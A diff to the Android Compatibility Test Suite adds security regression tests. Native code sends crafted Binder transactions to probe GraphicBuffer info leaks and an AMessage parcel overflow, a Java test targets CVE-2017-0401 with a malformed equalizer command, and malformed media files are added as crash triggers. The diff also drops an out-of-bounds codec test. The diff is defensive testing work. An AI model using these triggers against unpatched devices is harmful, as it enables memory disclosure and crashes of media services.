diff --git a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
index e2905d4..68f4e73 100644
--- a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
+++ b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
@@ -23,10 +23,12 @@
 import android.os.Environment;
 import android.test.AndroidTestCase;
 import android.util.Log;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
 
 import com.android.cts.media.R;
 
-import libcore.io.IoUtils;
 import libcore.io.Streams;
 
 import java.io.BufferedInputStream;
@@ -164,15 +166,11 @@
         for (int i = 0; i < IMAGE_RESOURCES.length; ++i) {
             String outputPath = new File(Environment.getExternalStorageDirectory(),
                     IMAGE_FILENAMES[i]).getAbsolutePath();
-            InputStream inputStream = null;
-            FileOutputStream outputStream = null;
-            try {
-                inputStream = getContext().getResources().openRawResource(IMAGE_RESOURCES[i]);
-                outputStream = new FileOutputStream(outputPath);
-                Streams.copy(inputStream, outputStream);
-            } finally {
-                IoUtils.closeQuietly(inputStream);
-                IoUtils.closeQuietly(outputStream);
+            try (InputStream inputStream = getContext().getResources().openRawResource(
+                    IMAGE_RESOURCES[i])) {
+                try (FileOutputStream outputStream = new FileOutputStream(outputPath)) {
+                    Streams.copy(inputStream, outputStream);
+                }
             }
         }
         super.setUp();
diff --git a/tests/tests/mediastress/src/android/mediastress/cts/HEVCR1080pAacLongPlayerTest.java b/tests/tests/mediastress/src/android/mediastress/cts/HEVCR1080pAacLongPlayerTest.java
index 42f5d43..f396706 100644
--- a/tests/tests/mediastress/src/android/mediastress/cts/HEVCR1080pAacLongPlayerTest.java
+++ b/tests/tests/mediastress/src/android/mediastress/cts/HEVCR1080pAacLongPlayerTest.java
@@ -16,11 +16,6 @@
 
 package android.mediastress.cts;
 
-import android.media.MediaCodecList;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.VideoCapabilities;
-
 public class HEVCR1080pAacLongPlayerTest extends MediaPlayerStressTest {
     private static final String VIDEO_PATH_MIDDLE = "bbb_full/1920x1080/mp4_libx265_libfaac/";
     private final String[] mMedias = {
@@ -28,29 +23,9 @@
     };
 
     public void testPlay00() throws Exception {
-        if (!isSupported()) {
-            return;
-        }
         doTestVideoPlaybackLong(0);
     }
 
-    private boolean isSupported() {
-        final int CONTEXT_BIT_RATE = 6500000;
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        for (MediaCodecInfo info : mcl.getCodecInfos()) {
-            if(info.getName().toLowerCase().equalsIgnoreCase("OMX.google.hevc.decoder")) {
-                try {
-                    return info.getCapabilitiesForType("video/hevc").getVideoCapabilities().
-                       getBitrateRange().contains(CONTEXT_BIT_RATE);
-                } catch (IllegalArgumentException e) {
-                    continue;
-                }
-            }
-        }
-
-        return true;
-    }
-
     @Override
     protected String getFullVideoClipName(int mediaNumber) {
         return VIDEO_TOP_DIR + VIDEO_PATH_MIDDLE + mMedias[mediaNumber];
diff --git a/tests/tests/os/src/android/os/cts/SecurityPatchTest.java b/tests/tests/os/src/android/os/cts/SecurityPatchTest.java
index 9ff3ece..f174424 100644
--- a/tests/tests/os/src/android/os/cts/SecurityPatchTest.java
+++ b/tests/tests/os/src/android/os/cts/SecurityPatchTest.java
@@ -32,7 +32,7 @@
     private static final String SECURITY_PATCH_DATE_ERROR =
             "ro.build.version.security_patch should be \"%d-%02d\" or later. Found \"%s\"";
     private static final int SECURITY_PATCH_YEAR = 2017;
-    private static final int SECURITY_PATCH_MONTH = 04;
+    private static final int SECURITY_PATCH_MONTH = 06;
 
     private boolean mSkipTests = false;
 
diff --git a/tests/tests/security/Android.mk b/tests/tests/security/Android.mk
index 14ea8df..b1e8035 100644
--- a/tests/tests/security/Android.mk
+++ b/tests/tests/security/Android.mk
@@ -28,7 +28,8 @@
 LOCAL_JNI_SHARED_LIBRARIES := libctssecurity_jni libcts_jni
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)\
-                   src/android/security/cts/activity/ISecureRandomService.aidl
+                   src/android/security/cts/activity/ISecureRandomService.aidl\
+                   aidl/android/security/cts/IIsolatedService.aidl
 
 LOCAL_PACKAGE_NAME := CtsSecurityTestCases
 
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 58dc47f..c483bde 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -37,14 +37,10 @@
 
         <service android:name="android.security.cts.activity.SecureRandomService"
                  android:process=":secureRandom"/>
-        <activity
-            android:name="android.security.cts.SkiaJpegDecodingActivity"
-            android:label="Test overflow in libskia JPG processing">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
-            </intent-filter>
-        </activity>
+
+        <service android:name="android.security.cts.IsolatedService"
+                 android:process=":Isolated"
+                 android:isolatedProcess="true"/>
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java b/tests/tests/security/aidl/android/security/cts/IIsolatedService.aidl
similarity index 60%
copy from tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java
copy to tests/tests/security/aidl/android/security/cts/IIsolatedService.aidl
index 79f166f..16db0fe 100644
--- a/tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java
+++ b/tests/tests/security/aidl/android/security/cts/IIsolatedService.aidl
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright 2016 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -16,15 +16,7 @@
 
 package android.security.cts;
 
-import android.app.Activity;
-import android.os.Bundle;
-
-import com.android.cts.security.R;
-
-public class SkiaJpegDecodingActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.activity_skiajpegdecoding);
-    }
-}
\ No newline at end of file
+interface IIsolatedService {
+    String[] getCachedSystemServices();
+    IBinder getSystemService(String serviceName);
+}
diff --git a/tests/tests/security/jni/Android.mk b/tests/tests/security/jni/Android.mk
index 431135e..804a177 100644
--- a/tests/tests/security/jni/Android.mk
+++ b/tests/tests/security/jni/Android.mk
@@ -32,31 +32,17 @@
 		android_security_cts_MMapExecutableTest.cpp \
 		android_security_cts_AudioPolicyBinderTest.cpp \
 		android_security_cts_EncryptionTest.cpp \
-		android_security_cts_MediaCryptoTest.cpp \
 		android_security_cts_MediaPlayerInfoLeakTest.cpp \
-		android_security_cts_AudioFlingerBinderTest.cpp \
 		android_security_cts_AudioEffectBinderTest.cpp \
-		android_security_cts_IDRMInfoLeakTest.cpp \
-		android_security_cts_MediaCodecListTest.cpp
+		android_security_cts_AudioFlingerBinderTest.cpp \
+		android_security_cts_StagefrightFoundationTest.cpp \
+		android_security_cts_GraphicBufferInfoLeakTest.cpp \
+		android_security_cts_IDRMInfoLeakTest.cpp
 
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) \
+										$(TOP)/frameworks/native/include/media/openmax
 
-LOCAL_C_INCLUDES := \
-	$(JNI_H_INCLUDE) \
-	system/core/include \
-	frameworks/base/media/jni \
-	frameworks/native/include/media/openmax
-
-LOCAL_SHARED_LIBRARIES := \
-	libnativehelper \
-	liblog \
-	libbinder \
-	libutils \
-	libmedia \
-	libselinux \
-	libdl \
-	libcutils \
-	libcrypto \
-	libstagefright_foundation 
+LOCAL_SHARED_LIBRARIES := libnativehelper liblog libbinder libutils libmedia libselinux libdl libcutils libcrypto libstagefright_foundation
 
 LOCAL_C_INCLUDES += ndk/sources/cpufeatures
 LOCAL_STATIC_LIBRARIES := cpufeatures
diff --git a/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp b/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp
index d292e7a..3a1144c 100644
--- a/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp
+++ b/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp
@@ -29,8 +29,9 @@
 extern int register_android_security_cts_EncryptionTest(JNIEnv* env);
 extern int register_android_security_cts_MediaPlayerInfoLeakTest(JNIEnv* env);
 extern int register_android_security_cts_AudioEffectBinderTest(JNIEnv* env);
+extern int register_android_security_cts_StagefrightFoundationTest(JNIEnv* env);
+extern int register_android_security_cts_GraphicBufferInfoLeakTest(JNIEnv* env);
 extern int register_android_security_cts_IDRMInfoLeakTest(JNIEnv* env);
-extern int register_android_security_cts_MediaCodecListTest(JNIEnv* env);
 
 jint JNI_OnLoad(JavaVM *vm, void *reserved) {
     JNIEnv *env = NULL;
@@ -87,12 +88,16 @@
         return JNI_ERR;
     }
 
-    if (register_android_security_cts_IDRMInfoLeakTest(env)) {
+    if (register_android_security_cts_StagefrightFoundationTest(env)) {
         return JNI_ERR;
     }
 
-    if (register_android_security_cts_MediaCodecListTest(env)) {
-            return JNI_ERR;
+    if (register_android_security_cts_GraphicBufferInfoLeakTest(env)) {
+        return JNI_ERR;
+    }
+
+    if (register_android_security_cts_IDRMInfoLeakTest(env)) {
+        return JNI_ERR;
     }
 
     return JNI_VERSION_1_4;
diff --git a/tests/tests/security/jni/android_security_cts_AudioPolicyBinderTest.cpp b/tests/tests/security/jni/android_security_cts_AudioPolicyBinderTest.cpp
index 1e3fc86..6011920 100644
--- a/tests/tests/security/jni/android_security_cts_AudioPolicyBinderTest.cpp
+++ b/tests/tests/security/jni/android_security_cts_AudioPolicyBinderTest.cpp
@@ -152,12 +152,12 @@
         return false;
     }
 
-    status_t status = aps->isStreamActive((audio_stream_type_t)(-1), 0);
-    if (status == NO_ERROR) {
+    bool status = aps->isStreamActive((audio_stream_type_t)(-1), 0);
+    if (status) {
         return false;
     }
     status = aps->isStreamActive((audio_stream_type_t)AUDIO_STREAM_CNT, 0);
-    if (status == NO_ERROR) {
+    if (status) {
         return false;
     }
     return true;
diff --git a/tests/tests/security/jni/android_security_cts_GraphicBufferInfoLeakTest.cpp b/tests/tests/security/jni/android_security_cts_GraphicBufferInfoLeakTest.cpp
new file mode 100644
index 0000000..d0cd347
--- /dev/null
+++ b/tests/tests/security/jni/android_security_cts_GraphicBufferInfoLeakTest.cpp
@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+//#define LOG_NDEBUG 0
+#define LOG_TAG "GraphicBufferInfoLeakTest-JNI"
+
+#include <jni.h>
+#include <JNIHelp.h>
+
+#include <binder/Parcel.h>
+#include <binder/IServiceManager.h>
+
+#include <gui/IGraphicBufferProducer.h>
+#include <gui/IGraphicBufferConsumer.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IMediaRecorder.h>
+#include <media/IOMX.h>
+#include <media/stagefright/MediaErrors.h>
+
+#include <sys/stat.h>
+#include <fcntl.h>
+
+using namespace android;
+
+static sp<IMediaPlayerService> getMediaPlayerService()
+{
+   sp<IServiceManager> sm = defaultServiceManager();
+   sp<IBinder> mediaPlayerService = sm->checkService(String16("media.player"));
+
+   sp<IMediaPlayerService> iMPService = IMediaPlayerService::asInterface(mediaPlayerService);
+   return iMPService;
+}
+
+jint android_security_cts_GraphicBuffer_test_attachBufferInfoLeak(JNIEnv* env,
+                                                           jobject thiz __unused)
+{
+    sp<IMediaPlayerService> iMPService = getMediaPlayerService();
+
+    // get IOMX
+    // Keep synchronized with IMediaPlayerService.cpp!
+    enum {
+        GET_OMX = 4,
+    };
+
+    status_t  err;
+    Parcel data, reply;
+    data.writeInterfaceToken(iMPService->getInterfaceDescriptor());
+    err = IMediaPlayerService::asBinder(iMPService)->transact(GET_OMX, data, &reply);
+    if (err != NO_ERROR) {
+        jniThrowException(env, "java/lang/RuntimeException", "GET_OMX failed");
+    }
+
+    // get IGraphicBufferConsumer
+    sp<IGraphicBufferProducer> iBufferProducer;
+    sp<IGraphicBufferConsumer> iBufferConsumer;
+    sp<IOMX> iOmx = interface_cast<IOMX>(reply.readStrongBinder());
+    err = iOmx->createPersistentInputSurface(&iBufferProducer, &iBufferConsumer);
+    if (err != NO_ERROR) {
+        jniThrowException(env, "java/lang/RuntimeException", "createPersistentInputSurface failed");
+        return err;
+    }
+
+    // Keep synchronized with IGraphicBufferConsumer.cpp!
+    enum {
+        ATTACH_BUFFER = 3,
+    };
+
+    for (;;) {
+        Parcel data2, reply2;
+        data2.writeInterfaceToken(iBufferConsumer->getInterfaceDescriptor());
+        err = IGraphicBufferConsumer::asBinder(iBufferConsumer)->transact(ATTACH_BUFFER, data2, &reply2);
+        if (err != NO_ERROR) {
+            jniThrowException(env, "java/lang/RuntimeException", "ATTACH_BUFFER failed");
+        }
+
+        int32_t slot = reply2.readInt32();
+        status_t result = reply2.readInt32();
+        ALOGV("slot %d", slot);
+        if (result != 0) {
+            // only check for leaked data in error case
+            return slot;
+        }
+    }
+}
+
+jint android_security_cts_GraphicBuffer_test_queueBufferInfoLeak(JNIEnv* env,
+                                                           jobject thiz __unused)
+{
+    sp<IMediaPlayerService> iMPService = getMediaPlayerService();
+    sp<IMediaRecorder> recorder = iMPService->createMediaRecorder(String16("GraphicBufferInfoLeakTest"));
+
+    const char *fileName = "/dev/null";
+    int fd = open(fileName, O_RDWR | O_CREAT, 0744);
+    if (fd < 0) {
+        jniThrowException(env, "java/lang/RuntimeException", "open output failed");
+        return fd;
+    }
+
+    recorder->setVideoSource(2);
+    recorder->setOutputFile(fd, 0, 0);
+    recorder->setOutputFormat(0);
+    recorder->init();
+    recorder->prepare();
+    recorder->start();
+
+    //get IGraphicBufferProducer
+    sp<IGraphicBufferProducer> iGBP = recorder->querySurfaceMediaSource();
+    ALOGV("fd %d, Get iGBP instance, 0x%08x\n", fd, iGBP.get());
+
+    // Keep synchronized with IGraphicBufferProducer.cpp!
+    enum {
+        QUEUE_BUFFER = 7,
+    };
+
+    for (;;) {
+        status_t err;
+        Parcel data, reply;
+        data.writeInterfaceToken(iGBP->getInterfaceDescriptor());
+        data.writeInt32(-1);
+        err = IGraphicBufferProducer::asBinder(iGBP)->transact(QUEUE_BUFFER, data, &reply);
+        if (err != NO_ERROR) {
+            recorder->stop();
+            recorder->release();
+            jniThrowException(env, "java/lang/RuntimeException", "QUEUE_BUFFER failed");
+            return err;
+        }
+
+        size_t len = reply.dataAvail();
+        int32_t result; // last sizeof(int32_t) bytes of Parcel
+        ALOGV("dataAvail = %zu\n", len);
+        if (len < sizeof(result)) {
+            // must contain result
+            recorder->stop();
+            recorder->release();
+            jniThrowException(env, "java/lang/RuntimeException", "reply malformed");
+            return ERROR_MALFORMED;
+        }
+
+        uint8_t *reply_data = (uint8_t *)reply.data();
+        memcpy(&result, reply_data + len - sizeof(result), sizeof(result));
+        if (result == NO_ERROR) {
+            // only check for leaked data in error case
+            continue;
+        }
+
+        uint8_t leaked_data = 0;
+        for (size_t i = 0; i < len - sizeof(result); ++i) {
+            ALOGV("IGraphicBufferProducer_InfoLeak reply_data[%d] = 0x%08x", i, reply_data[i]);
+            if (reply_data[i]) {
+                leaked_data = reply_data[i];
+                break;
+            }
+        }
+
+        recorder->stop();
+        recorder->release();
+        return leaked_data;
+    }
+}
+
+static JNINativeMethod gMethods[] = {
+    {  "native_test_attachBufferInfoLeak", "()I",
+            (void *) android_security_cts_GraphicBuffer_test_attachBufferInfoLeak },
+    {  "native_test_queueBufferInfoLeak", "()I",
+            (void *) android_security_cts_GraphicBuffer_test_queueBufferInfoLeak },
+};
+
+int register_android_security_cts_GraphicBufferInfoLeakTest(JNIEnv* env)
+{
+    jclass clazz = env->FindClass("android/security/cts/GraphicBufferInfoLeakTest");
+    return env->RegisterNatives(clazz, gMethods,
+            sizeof(gMethods) / sizeof(JNINativeMethod));
+}
diff --git a/tests/tests/security/jni/android_security_cts_MediaCodecListTest.cpp b/tests/tests/security/jni/android_security_cts_MediaCodecListTest.cpp
deleted file mode 100644
index 56effa2..0000000
--- a/tests/tests/security/jni/android_security_cts_MediaCodecListTest.cpp
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <jni.h>
-#include <cstring>
-#include <cstdio>
-#include <binder/IPCThreadState.h>
-#include <binder/Parcel.h>
-#include <binder/IServiceManager.h>
-#include <binder/ProcessState.h>
-#include <media/IMediaCodecList.h>
-#include <media/IMediaPlayerService.h>
-#include <media/MediaCodecInfo.h>
-
-using namespace android;
-
-static jboolean android_security_cts_MediaCodecListTest_doCodecInfoTest
-        (JNIEnv* env __unused, jobject thiz __unused) {
-    sp<IMediaPlayerService> service =
-            interface_cast<IMediaPlayerService>(defaultServiceManager()
-            ->getService(String16("media.player")));
-    sleep(1);
-    sp<IMediaCodecList> list = service->getCodecList();
-    sleep(1);
-    list = service->getCodecList();
-    size_t count = list->countCodecs();
-    /*
-     * Trying to access the index out of boundary
-     */
-    count = count + 5;
-    sp<MediaCodecInfo> codecValue = list->getCodecInfo(count);
-    /*
-     * Fix was available in getCodecInfo()
-     * checks for boundary condition and returns null if out of boundary
-     */
-    return (codecValue == NULL);
-}
-
-static JNINativeMethod gMethods[] = {
-    {"doCodecInfoTest", "()Z",
-        (void *) android_security_cts_MediaCodecListTest_doCodecInfoTest}
-};
-
-int register_android_security_cts_MediaCodecListTest(JNIEnv* env) {
-    jclass clazz = env->FindClass("android/security/cts/MediaCodecListTest");
-    return env->RegisterNatives(
-            clazz, gMethods, sizeof(gMethods) / sizeof(JNINativeMethod));
-}
\ No newline at end of file
diff --git a/tests/tests/security/jni/android_security_cts_StagefrightFoundationTest.cpp b/tests/tests/security/jni/android_security_cts_StagefrightFoundationTest.cpp
new file mode 100644
index 0000000..d16bd38
--- /dev/null
+++ b/tests/tests/security/jni/android_security_cts_StagefrightFoundationTest.cpp
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "AudioEffectBinderTest-JNI"
+
+#include <cstdio>
+#include <jni.h>
+#include <binder/Parcel.h>
+#include <media/stagefright/foundation/AMessage.h>
+
+using namespace android;
+
+/*
+ * Native methods used by
+ * cts/tests/tests/security/src/android/security/cts/StagefrightFoundationTest.java
+ */
+
+static jboolean android_security_cts_StagefrightFoundation_test_aMessageFromParcel(
+        JNIEnv* env __unused, jobject thiz __unused)
+{
+    const int kMaxNumItems = 64;
+    const int kNumItems = kMaxNumItems + 1 + 1000;
+    char name[128];
+
+    Parcel data;
+    data.writeInt32(0);  // what
+    data.writeInt32(kNumItems);  // numItems
+    for (int i = 0; i < kMaxNumItems; ++i) {
+        snprintf(name, sizeof(name), "item-%d", i);
+        data.writeCString(name);  // name
+        data.writeInt32(0);  // kTypeInt32
+        data.writeInt32(i);  // value
+    }
+    data.writeCString("evil");  // name
+    data.writeInt32(0);  // kTypeInt32
+    data.writeInt32(0);  // value
+    // NOTE: This could overwrite mNumItems!
+
+    for (int i = 0; i < 1000; ++i) {
+        snprintf(name, sizeof(name), "evil-%d", i);
+        data.writeCString(name);  // name
+        data.writeInt32(0);  // kTypeInt32
+        data.writeInt32(0);  // value
+    }
+
+    data.setDataPosition(0);
+    sp<AMessage> msg = AMessage::FromParcel(data);
+
+    for (int i = 0; i < kMaxNumItems; ++i) {
+        snprintf(name, sizeof(name), "item-%d", i);
+        int32_t value;
+        if (!msg->findInt32(name, &value)) {
+            ALOGE("cannot find value for %s", name);
+            return JNI_FALSE;
+        }
+        if (value != i) {
+            ALOGE("value is changed: expected %d actual %d", i, value);
+            return JNI_FALSE;
+        }
+    }
+    return JNI_TRUE;
+}
+
+int register_android_security_cts_StagefrightFoundationTest(JNIEnv *env)
+{
+    static JNINativeMethod methods[] = {
+        { "native_test_aMessageFromParcel", "()Z",
+                (void *) android_security_cts_StagefrightFoundation_test_aMessageFromParcel},
+    };
+
+    jclass clazz = env->FindClass("android/security/cts/StagefrightFoundationTest");
+    return env->RegisterNatives(clazz, methods, sizeof(methods) / sizeof(methods[0]));
+}
diff --git a/tests/tests/security/res/drawable/signal_sigsegv_in_jmem_ashmem.jpg b/tests/tests/security/res/drawable/signal_sigsegv_in_jmem_ashmem.jpg
deleted file mode 100644
index f63f6ef..0000000
--- a/tests/tests/security/res/drawable/signal_sigsegv_in_jmem_ashmem.jpg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/layout/activity_skiajpegdecoding.xml b/tests/tests/security/res/layout/activity_skiajpegdecoding.xml
deleted file mode 100644
index 68a0d68..0000000
--- a/tests/tests/security/res/layout/activity_skiajpegdecoding.xml
+++ /dev/null
@@ -1,30 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-<LinearLayout
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="fill_parent"
-    android:layout_height="fill_parent"
-    android:gravity="center"
-    android:orientation="vertical">
-
-    <ImageView
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:src="@drawable/signal_sigsegv_in_jmem_ashmem"
-        />
-
-</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/bug_23270724_1.mp4 b/tests/tests/security/res/raw/bug_23270724_1.mp4
new file mode 100644
index 0000000..93a9b2e
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_23270724_1.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_23270724_2.mp4 b/tests/tests/security/res/raw/bug_23270724_2.mp4
new file mode 100644
index 0000000..fcdfcd2
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_23270724_2.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_33251605.bmp b/tests/tests/security/res/raw/bug_33251605.bmp
new file mode 100644
index 0000000..0060ff4
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_33251605.bmp
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_34031018_32bit.xmf b/tests/tests/security/res/raw/bug_34031018_32bit.xmf
new file mode 100644
index 0000000..8f869ab
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_34031018_32bit.xmf
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_34031018_64bit.xmf b/tests/tests/security/res/raw/bug_34031018_64bit.xmf
new file mode 100644
index 0000000..4ddd28d
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_34031018_64bit.xmf
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_34097672.mp4 b/tests/tests/security/res/raw/bug_34097672.mp4
new file mode 100644
index 0000000..79acdf4
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_34097672.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_36215950.mp4 b/tests/tests/security/res/raw/bug_36215950.mp4
new file mode 100644
index 0000000..a58f49e
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_36215950.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_36895511.mp4 b/tests/tests/security/res/raw/bug_36895511.mp4
new file mode 100644
index 0000000..298494b
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_36895511.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_37079296.mp4 b/tests/tests/security/res/raw/bug_37079296.mp4
new file mode 100644
index 0000000..b441fd1
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_37079296.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_38342499.mid b/tests/tests/security/res/raw/bug_38342499.mid
new file mode 100644
index 0000000..4d2e282
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_38342499.mid
Binary files differ
diff --git a/tests/tests/security/res/raw/midi_crash.midi b/tests/tests/security/res/raw/midi_crash.midi
new file mode 100644
index 0000000..1880229
--- /dev/null
+++ b/tests/tests/security/res/raw/midi_crash.midi
Binary files differ
diff --git a/tests/tests/security/res/raw/skia_sigsegv_in_skicoimagedecoder.ico b/tests/tests/security/res/raw/skia_sigsegv_in_skicoimagedecoder.ico
deleted file mode 100644
index f488a24..0000000
--- a/tests/tests/security/res/raw/skia_sigsegv_in_skicoimagedecoder.ico
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
index 0d453da..3dacbe7 100644
--- a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
+++ b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
@@ -20,8 +20,11 @@
 import android.media.AudioManager;
 import android.media.AudioTrack;
 import android.media.audiofx.AudioEffect;
+import android.media.audiofx.Equalizer;
 import android.util.Log;
 
+import com.android.cts.util.SecurityTest;
+
 import java.nio.ByteBuffer;
 import java.nio.ByteOrder;
 import java.util.Arrays;
@@ -72,10 +75,12 @@
                 testEffect.test(audioEffect);
                 Log.d(TAG, "effect " + testName + " " + descriptor.name + " success");
             } catch (Exception e) {
-                Log.e(TAG, "effect " + testName + " " + descriptor.name + " failed!");
+                Log.e(TAG, "effect " + testName + " " + descriptor.name + " exception failed!",
+                        e);
                 ++failures;
             } catch (AssertionError e) {
-                Log.e(TAG, "effect " + testName + " " + descriptor.name + " failed!");
+                Log.e(TAG, "effect " + testName + " " + descriptor.name + " assert failed!",
+                        e);
                 ++failures;
             }
         }
@@ -84,6 +89,7 @@
     }
 
     // b/28173666
+    @SecurityTest
     public void testAllEffectsGetParameterAttemptOffload_CVE_2016_3745() throws Exception {
         testAllEffects("get parameter attempt offload",
                 new TestEffect() {
@@ -97,6 +103,7 @@
     // b/32438594
     // b/32624850
     // b/32635664
+    @SecurityTest
     public void testAllEffectsGetParameter2AttemptOffload_CVE_2017_0398() throws Exception {
         testAllEffects("get parameter2 attempt offload",
                 new TestEffect() {
@@ -108,6 +115,7 @@
     }
 
     // b/30204301
+    @SecurityTest
     public void testAllEffectsSetParameterAttemptOffload_CVE_2016_3924() throws Exception {
         testAllEffects("set parameter attempt offload",
                 new TestEffect() {
@@ -118,6 +126,18 @@
         });
     }
 
+    // b/37536407
+    @SecurityTest
+    public void testAllEffectsEqualizer_CVE_2017_0401() throws Exception {
+        testAllEffects("equalizer get parameter name",
+                new TestEffect() {
+            @Override
+            public void test(AudioEffect audioEffect) throws Exception {
+                testAudioEffectEqualizerGetParameterName(audioEffect);
+            }
+        });
+    }
+
     private static void testAudioEffectGetParameter(
             AudioEffect audioEffect, boolean offload) throws Exception {
         if (audioEffect == null) {
@@ -297,12 +317,44 @@
         }
     }
 
+    private static void testAudioEffectEqualizerGetParameterName(
+            AudioEffect audioEffect) throws Exception {
+        if (audioEffect == null) {
+            return;
+        }
+        try {
+            // get parameter name with zero vsize
+            {
+                final int param = Equalizer.PARAM_GET_PRESET_NAME;
+                final int band = 0;
+                byte command[] = ByteBuffer.allocate(5 * 4 /* capacity */)
+                        .order(ByteOrder.nativeOrder())
+                        .putInt(0)          // status (unused)
+                        .putInt(8)          // psize (param, band)
+                        .putInt(0)          // vsize
+                        .putInt(param)      // equalizer param
+                        .putInt(band)       // equalizer band
+                        .array();
+                Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
+                        "command", int.class, byte[].class, byte[].class).invoke(
+                                audioEffect, EFFECT_CMD_GET_PARAM, command,
+                                new byte[5 * 4] /* reply - ignored */);
+                assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
+            }
+        } catch (NoSuchMethodException e) {
+            Log.w(TAG, "AudioEffect.command() does not exist (ignoring)"); // OK
+        } finally {
+            audioEffect.release();
+        }
+    }
+
     // should match effect_visualizer.h (native)
     private static final String VISUALIZER_TYPE = "e46b26a0-dddd-11db-8afd-0002a5d5c51b";
     private static final int VISUALIZER_CMD_CAPTURE = 0x10000;
     private static final int VISUALIZER_PARAM_CAPTURE_SIZE = 0;
 
     // b/31781965
+    @SecurityTest
     public void testVisualizerCapture_CVE_2017_0396() throws Exception {
         // Capture params
